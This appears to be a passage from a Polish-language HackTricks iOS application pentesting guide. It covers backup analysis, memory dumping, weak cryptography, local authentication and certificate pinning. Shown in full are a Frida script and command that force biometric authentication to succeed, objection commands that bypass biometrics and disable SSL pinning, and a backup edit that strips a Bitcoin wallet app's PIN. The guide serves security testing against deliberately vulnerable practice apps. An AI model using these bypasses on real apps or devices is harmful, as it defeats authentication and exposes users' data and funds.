Auto-backup features są zintegrowane z iOS, umożliwiając tworzenie kopii danych urządzenia za pomocą iTunes (do macOS Catalina), Finder (od macOS Catalina) lub iCloud. Te kopie zawierają niemal wszystkie dane urządzenia, z wyłączeniem wysoce wrażliwych elementów, takich jak dane Apple Pay i konfiguracje Touch ID.
Ryzyka bezpieczeństwa
Uwzględnienie zainstalowanych aplikacji i ich danych w kopiach zapasowych stwarza ryzyko potencjalnego data leakage oraz możliwość, że modyfikacje backupu mogą zmienić funkcjonowanie aplikacji. Zaleca się nie przechowywać informacji wrażliwych w plaintext w żadnym katalogu aplikacji ani jego podkatalogach, aby zminimalizować te ryzyka.
Wykluczanie plików z kopii zapasowych
Pliki w Documents/ i Library/Application Support/ są domyślnie uwzględniane w kopiach zapasowych. Deweloperzy mogą wykluczyć konkretne pliki lub katalogi z backupu używając NSURL setResourceValue:forKey:error: z NSURLIsExcludedFromBackupKey. Ta praktyka jest kluczowa dla ochrony danych wrażliwych przed uwzględnieniem w backupie.
Testowanie pod kątem podatności
Aby ocenić bezpieczeństwo backupu aplikacji, zacznij od utworzenia kopii zapasowej za pomocą Finder, a następnie znajdź ją zgodnie z instrukcjami w Apple’s official documentation. Przeanalizuj backup pod kątem danych wrażliwych lub konfiguracji, które mogłyby zostać zmienione, wpływając na działanie aplikacji.
Informacje wrażliwe można wyszukać za pomocą narzędzi wiersza poleceń lub aplikacji takich jak iMazing. W przypadku zaszyfrowanych backupów, obecność szyfrowania można potwierdzić, sprawdzając klucz “IsEncrypted” w pliku “Manifest.plist” w katalogu głównym backupu.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
...
<key>Date</key>
<date>2021-03-12T17:43:33Z</date>
<key>IsEncrypted</key>
<true/>
...
</plist>
Do pracy z zaszyfrowanymi kopiami zapasowymi przydatne mogą być skrypty Python dostępne w DinoSec’s GitHub repo, takie jak backup_tool.py i backup_passwd.py, chociaż mogą wymagać dostosowań, aby były kompatybilne z najnowszymi wersjami iTunes/Finder. Kolejną opcją uzyskania dostępu do plików w kopiach zapasowych zabezpieczonych hasłem jest iOSbackup tool.
Modyfikowanie zachowania aplikacji
Przykład zmiany zachowania aplikacji poprzez modyfikację backupu pokazuje Bither bitcoin wallet app, gdzie PIN blokady UI jest przechowywany w net.bither.plist pod kluczem pin_code. Usunięcie tego klucza z plist i przywrócenie backupu usuwa wymóg PIN, umożliwiając nieograniczony dostęp.
Podsumowanie testowania pamięci w kontekście danych wrażliwych
Podczas pracy z poufnymi informacjami przechowywanymi w pamięci aplikacji kluczowe jest ograniczenie czasu ich ujawnienia. Istnieją dwa główne podejścia do badania zawartości pamięci: tworzenie zrzutu pamięci oraz analiza pamięci w czasie rzeczywistym. Obie metody mają swoje wyzwania, w tym ryzyko przegapienia krytycznych danych podczas procesu zrzutu lub analizy.
Pobieranie i analiza zrzutu pamięci
Zarówno dla urządzeń jailbroken, jak i nie-jailbroken, narzędzia takie jak objection i Fridump umożliwiają wykonanie zrzutu pamięci procesu aplikacji. Po wykonaniu zrzutu analiza tych danych wymaga różnych narzędzi, w zależności od rodzaju poszukiwanych informacji.
Aby wyodrębnić ciągi znaków z zrzutu pamięci, można użyć poleceń takich jak strings lub rabin2 -zz:
# Extracting strings using strings command
$ strings memory > strings.txt
# Extracting strings using rabin2
$ rabin2 -ZZ memory > strings.txt
Do bardziej szczegółowej analizy, w tym wyszukiwania określonych typów danych lub wzorców, radare2 oferuje rozbudowane możliwości wyszukiwania:
$ r2 <name_of_your_dump_file>
[0x00000000]> /?
...
Analiza pamięci w czasie wykonywania
r2frida zapewnia potężną alternatywę do inspekcji pamięci aplikacji w czasie rzeczywistym, bez potrzeby tworzenia memory dump. To narzędzie umożliwia wykonywanie poleceń wyszukiwania bezpośrednio w pamięci uruchomionej aplikacji:
$ r2 frida://usb//<name_of_your_app>
[0x00000000]> /\ <search_command>
Słaba Cryptography
Poor Key Management Processes
Niektórzy deweloperzy zapisują wrażliwe dane w lokalnej pamięci i szyfrują je przy użyciu klucza hardcoded/predictable w kodzie. Nie powinno się tego robić, ponieważ reversing może pozwolić atakującym na wydobycie poufnych informacji.
Use of Insecure and/or Deprecated Algorithms
Deweloperzy nie powinni używać deprecated algorithms do przeprowadzania autoryzacyjnych checks, ani do store lub send danych. Niektóre z tych algorytmów to: RC4, MD4, MD5, SHA1… Jeśli na przykład hashes są używane do przechowywania haseł, powinny być stosowane algorytmy odporne na brute-force — resistant — wraz z salt.
Check
Główne sprawdzenia do wykonania to znalezienie, czy w kodzie nie ma hardcoded haseł/sekretów, czy są one predictable, oraz czy kod używa jakiegoś rodzaju weak cryptography algorytmów.
Warto wiedzieć, że możesz automatycznie monitor niektóre crypto libraries używając objection z:
ios monitor crypt
Aby uzyskać więcej informacji na temat iOS cryptographic APIs and libraries odwiedź https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography
Uwierzytelnianie lokalne
Uwierzytelnianie lokalne odgrywa kluczową rolę, szczególnie gdy chodzi o zabezpieczenie dostępu na zdalnym końcu za pomocą metod kryptograficznych. Istota problemu polega na tym, że bez poprawnej implementacji mechanizmy uwierzytelniania lokalnego mogą być obejściowe.
Apple’s Local Authentication framework i keychain dostarczają solidne API umożliwiające deweloperom wyświetlanie dialogów uwierzytelniających użytkownika oraz bezpieczne przetwarzanie sekretów. Secure Enclave zabezpiecza identyfikator linii papilarnych dla Touch ID, natomiast Face ID opiera się na rozpoznawaniu twarzy bez ujawniania danych biometrycznych.
Aby zintegrować Touch ID/Face ID, deweloperzy mają do wyboru dwa API:
LocalAuthentication.frameworkdla wysokopoziomowego uwierzytelniania użytkownika bez dostępu do danych biometrycznych.Security.frameworkdla niższego poziomu dostępu do usług keychain, zabezpieczając sekrety przy użyciu uwierzytelniania biometrycznego. Różne otwarte biblioteki upraszczają dostęp do keychain (zob. link).
Caution
Jednak zarówno
LocalAuthentication.framework, jak iSecurity.frameworkmają luki, ponieważ w większości przypadków zwracają jedynie wartości boolowskie bez przesyłania danych w procesie uwierzytelniania, co sprawia, że są podatne na obejście (zob. Don’t touch me that way, by David Lindner et al).
Implementacja uwierzytelniania lokalnego
Aby wywołać uwierzytelnienie użytkownika, deweloperzy powinni użyć metody evaluatePolicy w klasie LAContext, wybierając pomiędzy:
deviceOwnerAuthentication: Wyświetla monit o Touch ID lub kod urządzenia, kończy się niepowodzeniem, jeśli żaden z nich nie jest włączony.deviceOwnerAuthenticationWithBiometrics: Wyświetla monit wyłącznie o Touch ID.
Powodzenie uwierzytelnienia jest sygnalizowane przez wartość boolowską zwracaną przez evaluatePolicy, co ujawnia potencjalną lukę w zabezpieczeniach.
Uwierzytelnianie lokalne z użyciem keychain
Implementacja uwierzytelniania lokalnego w aplikacjach iOS wykorzystuje keychain APIs do bezpiecznego przechowywania sekretów, takich jak tokeny uwierzytelniające. Proces ten zapewnia, że dane mogą być dostępne tylko dla użytkownika, przy użyciu kodu urządzenia lub uwierzytelniania biometrycznego, takiego jak Touch ID.
Keychain umożliwia ustawienie elementów z atrybutem SecAccessControl, który ogranicza dostęp do elementu do momentu, gdy użytkownik poprawnie uwierzytelni się przez Touch ID lub kod urządzenia. Ta funkcja jest kluczowa dla zwiększenia bezpieczeństwa.
Poniżej znajdują się przykłady w Swift i Objective-C pokazujące, jak zapisać i odczytać string do/z keychain, wykorzystując te mechanizmy zabezpieczeń. Przykłady pokazują, jak skonfigurować kontrolę dostępu wymagającą uwierzytelnienia Touch ID i zapewnić, że dane będą dostępne tylko na urządzeniu, na którym zostały zapisane, pod warunkiem że skonfigurowano kod urządzenia.
// From https://github.com/mufambisi/owasp-mstg/blob/master/Document/0x06f-Testing-Local-Authentication.md
// 1. create AccessControl object that will represent authentication settings
var error: Unmanaged<CFError>?
guard let accessControl = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
SecAccessControlCreateFlags.biometryCurrentSet,
&error) else {
// failed to create AccessControl object
return
}
// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute
var query: [String: Any] = [:]
query[kSecClass as String] = kSecClassGenericPassword
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecAttrAccount as String] = "OWASP Account" as CFString
query[kSecValueData as String] = "test_strong_password".data(using: .utf8)! as CFData
query[kSecAttrAccessControl as String] = accessControl
// 3. save item
let status = SecItemAdd(query as CFDictionary, nil)
if status == noErr {
// successfully saved
} else {
// error while saving
}
Teraz możemy pobrać zapisany element z keychain. Keychain services wyświetlą użytkownikowi dialog uwierzytelniania i zwrócą dane lub nil, w zależności od tego, czy podano odpowiedni fingerprint.
// 1. define query
var query = [String: Any]()
query[kSecClass as String] = kSecClassGenericPassword
query[kSecReturnData as String] = kCFBooleanTrue
query[kSecAttrAccount as String] = "My Name" as CFString
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecUseOperationPrompt as String] = "Please, pass authorisation to enter this area" as CFString
// 2. get item
var queryResult: AnyObject?
let status = withUnsafeMutablePointer(to: &queryResult) {
SecItemCopyMatching(query as CFDictionary, UnsafeMutablePointer($0))
}
if status == noErr {
let password = String(data: queryResult as! Data, encoding: .utf8)!
// successfully received password
} else {
// authorization not passed
}
Wykrywanie
Użycie frameworków w aplikacji można także wykryć analizując listę współdzielonych bibliotek dynamicznych binarki aplikacji. Można to zrobić za pomocą otool:
$ otool -L <AppName>.app/<AppName>
Jeśli LocalAuthentication.framework jest używane w aplikacji, output będzie zawierać obie z następujących linii (pamiętaj, że LocalAuthentication.framework używa Security.framework pod spodem):
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
/System/Library/Frameworks/Security.framework/Security
Jeśli używany jest Security.framework, widoczny będzie tylko drugi.
Local Authentication Framework Bypass
Objection
Dzięki Objection Biometrics Bypass, dostępnemu na this GitHub page, dostępna jest technika pozwalająca obejść mechanizm LocalAuthentication. Sedno tej metody polega na wykorzystaniu Frida do manipulacji funkcją evaluatePolicy, tak aby zawsze zwracała wartość True, niezależnie od rzeczywistego wyniku uwierzytelniania. Jest to szczególnie przydatne do obejścia wadliwych procesów uwierzytelniania biometrycznego.
Aby aktywować ten bypass, używa się następującego polecenia:
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # (agent) [3mhtws9x47q] Localized Reason for auth requirement: Please authenticate yourself
(agent) [3mhtws9x47q] OS authentication response: false
(agent) [3mhtws9x47q] Marking OS response as True instead
(agent) [3mhtws9x47q] Biometrics bypass hook complete
To polecenie uruchamia sekwencję, w której Objection rejestruje zadanie, które skutecznie zmienia wynik sprawdzenia evaluatePolicy na True.
Frida
Przykład użycia evaluatePolicy z DVIA-v2 application:
+(void)authenticateWithTouchID {
LAContext *myContext = [[LAContext alloc] init];
NSError *authError = nil;
NSString *myLocalizedReasonString = @"Please authenticate yourself";
if ([myContext canEvaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics error:&authError]) {
[myContext evaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics
localizedReason:myLocalizedReasonString
reply:^(BOOL success, NSError *error) {
if (success) {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Successful" withTitle:@"Success"];
});
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Failed !" withTitle:@"Error"];
});
}
}];
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Your device doesn't support Touch ID or you haven't configured Touch ID authentication on your device" withTitle:@"Error"];
});
}
}
Aby osiągnąć bypass Local Authentication, napisano skrypt Frida. Skrypt ten celuje w kontrolę evaluatePolicy, przechwytując jej callback, aby zapewnić zwrócenie success=1. Zmieniając zachowanie callbacka, kontrola uwierzytelniania jest skutecznie omijana.
Poniższy skrypt jest wstrzykiwany, aby zmodyfikować wynik metody evaluatePolicy. Zmienia wynik callbacka tak, by zawsze wskazywał success=1.
// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
if(ObjC.available) {
console.log("Injecting...");
var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
Interceptor.attach(hook.implementation, {
onEnter: function(args) {
var block = new ObjC.Block(args[4]);
const callback = block.implementation;
block.implementation = function (error, value) {
console.log("Changing the result value to true")
const result = callback(1, null);
return result;
};
},
});
} else {
console.log("Objective-C Runtime is not available!");
}
Aby wstrzyknąć skrypt Frida i obejść uwierzytelnianie biometryczne, używa się następującego polecenia:
frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js
Ujawnienie wrażliwej funkcjonalności przez IPC
Niestandardowe obsługiwacze URI / Deeplinks / Niestandardowe schematy
iOS Custom URI Handlers / Deeplinks / Custom Schemes
Universal Links
UIActivity Sharing
UIPasteboard
App Extensions
WebViews
Serialisation and Encoding
iOS Serialisation and Encoding
Komunikacja sieciowa
Ważne jest sprawdzenie, czy żadna komunikacja nie odbywa się bez szyfrowania oraz czy aplikacja poprawnie weryfikuje certyfikat TLS serwera.
Aby sprawdzić tego typu problemy, można użyć proxy takiego jak Burp:
Weryfikacja nazwy hosta
Jednym z powszechnych problemów przy weryfikacji certyfikatu TLS jest sprawdzenie, czy certyfikat został podpisany przez zaufane CA, ale nie sprawdzenie, czy nazwa hosta w certyfikacie odpowiada hostowi, do którego następuje dostęp.
Aby sprawdzić ten problem za pomocą Burp, po zaufaniu Burp CA na iPhonie, możesz wygenerować nowy certyfikat w Burp dla innej nazwy hosta i użyć go. Jeśli aplikacja nadal działa, to znaczy, że aplikacja jest podatna.
Certificate Pinning
Jeśli aplikacja poprawnie używa SSL Pinning, aplikacja będzie działać tylko, jeśli certyfikat jest tym, którego się oczekuje. Podczas testowania aplikacji może to być problem, ponieważ Burp będzie serwował własny certyfikat.
Aby obejść tę ochronę na urządzeniu z jailbreakiem, możesz zainstalować aplikację SSL Kill Switch lub Burp Mobile Assistant
Możesz też użyć objection: ios sslpinning disable
Inne
- W
/System/Librarymożna znaleźć frameworki zainstalowane w telefonie używane przez aplikacje systemowe - Aplikacje zainstalowane przez użytkownika z App Store znajdują się w
/User/Applications - A
/User/Libraryzawiera dane zapisywane przez aplikacje użytkownika - Możesz uzyskać dostęp do
/User/Library/Notes/notes.sqliteaby odczytać notatki zapisane w aplikacji. - W folderze zainstalowanej aplikacji (
/User/Applications/<APP ID>/) można znaleźć kilka interesujących plików: iTunesArtwork: Ikona używana przez aplikacjęiTunesMetadata.plist: Informacje o aplikacji używane w App Store/Library/*: Zawiera preferencje i cache. W/Library/Cache/Snapshots/*można znaleźć snapshot wykonany aplikacji przed wysłaniem jej do tła.
Hot Patching/Enforced Updateing
Deweloperzy mogą zdalnie załatać wszystkie instalacje swojej aplikacji natychmiast, bez konieczności ponownego zgłaszania aplikacji do App Store i oczekiwania na zatwierdzenie.
W tym celu zwykle używa się JSPatch. Jednak istnieją też inne opcje, takie jak Siren i react-native-appstore-version-checker.
To niebezpieczny mechanizm, który może zostać nadużyty przez złośliwe zewnętrzne SDK, dlatego zaleca się sprawdzić, która metoda jest używana do automatycznych aktualizacji (jeśli w ogóle) i przetestować ją. Możesz spróbować pobrać poprzednią wersję aplikacji w tym celu.
Third Parties
Znaczącym problemem związanym z 3rd party SDKs jest brak drobiazgowej kontroli nad ich funkcjonalnościami. Deweloperzy stają przed wyborem: zintegrować SDK i zaakceptować wszystkie jego funkcje, w tym potencjalne luki bezpieczeństwa i problemy z prywatnością, albo zrezygnować z jego korzyści. Często deweloperzy nie są w stanie samodzielnie załatać luk w tych SDK. Ponadto, w miarę jak SDK zyskują zaufanie w społeczności, niektóre mogą zacząć zawierać malware.
Usługi oferowane przez zewnętrzne SDK mogą obejmować śledzenie zachowań użytkowników, wyświetlanie reklam lub ulepszenia UX. Jednakże wiąże się to z ryzykiem, ponieważ deweloperzy mogą nie być w pełni świadomi kodu wykonywanego przez te biblioteki, co prowadzi do potencjalnych zagrożeń dla prywatności i bezpieczeństwa. Kluczowe jest ograniczenie informacji udostępnianych usługom zewnętrznym do niezbędnego minimum oraz upewnienie się, że żadne dane wrażliwe nie zostaną ujawnione.
Implementacja usług zewnętrznych zwykle występuje w dwóch formach: jako samodzielna biblioteka lub pełne SDK. Aby chronić prywatność użytkownika, wszelkie dane udostępniane tym usługom powinny być anonimizowane, aby zapobiec ujawnieniu Personal Identifiable Information (PII).
Aby zidentyfikować biblioteki używane przez aplikację, można użyć polecenia otool. Narzędzie to należy uruchomić przeciwko aplikacji i każdej bibliotece współdzielonej, której używa, aby odkryć dodatkowe biblioteki.
otool -L <application_path>
Ciekawe podatności i studia przypadków
Air Keyboard Remote Input Injection
Itunesstored Bookassetd Sandbox Escape
Zero Click Messaging Image Parser Chains
Referencje i dodatkowe zasoby
- https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering
- iOS & Mobile App Pentesting - INE
- https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0057/
- https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0058/
- https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0059/
- https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage
- https://coderwall.com/p/kjb3lw/storing-password-in-keychain-the-smart-way
- https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0055/
- https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0053
- https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0060/
- https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0058
- https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0060
- https://mas.owasp.org/MASTG/Android/0x05f-Testing-Local-Authentication/
- https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064
- https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc
- https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054
- https://github.com/ivRodriguezCA/RE-iOS-Apps/ iOS darmowy kurs(https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/)
- https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577
- https://www.slideshare.net/RyanISI/ios-appsecurityminicourse
- https://github.com/prateek147/DVIA
- https://github.com/prateek147/DVIA-v2
- https://github.com/OWASP/MSTG-Hacking-Playground%20
- OWASP iGoat https://github.com/OWASP/igoat <<< wersja Objective-C https://github.com/OWASP/iGoat-Swift <<< wersja Swift
- https://github.com/authenticationfailure/WheresMyBrowser.iOS
- https://github.com/nabla-c0d3/ssl-kill-switch2
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


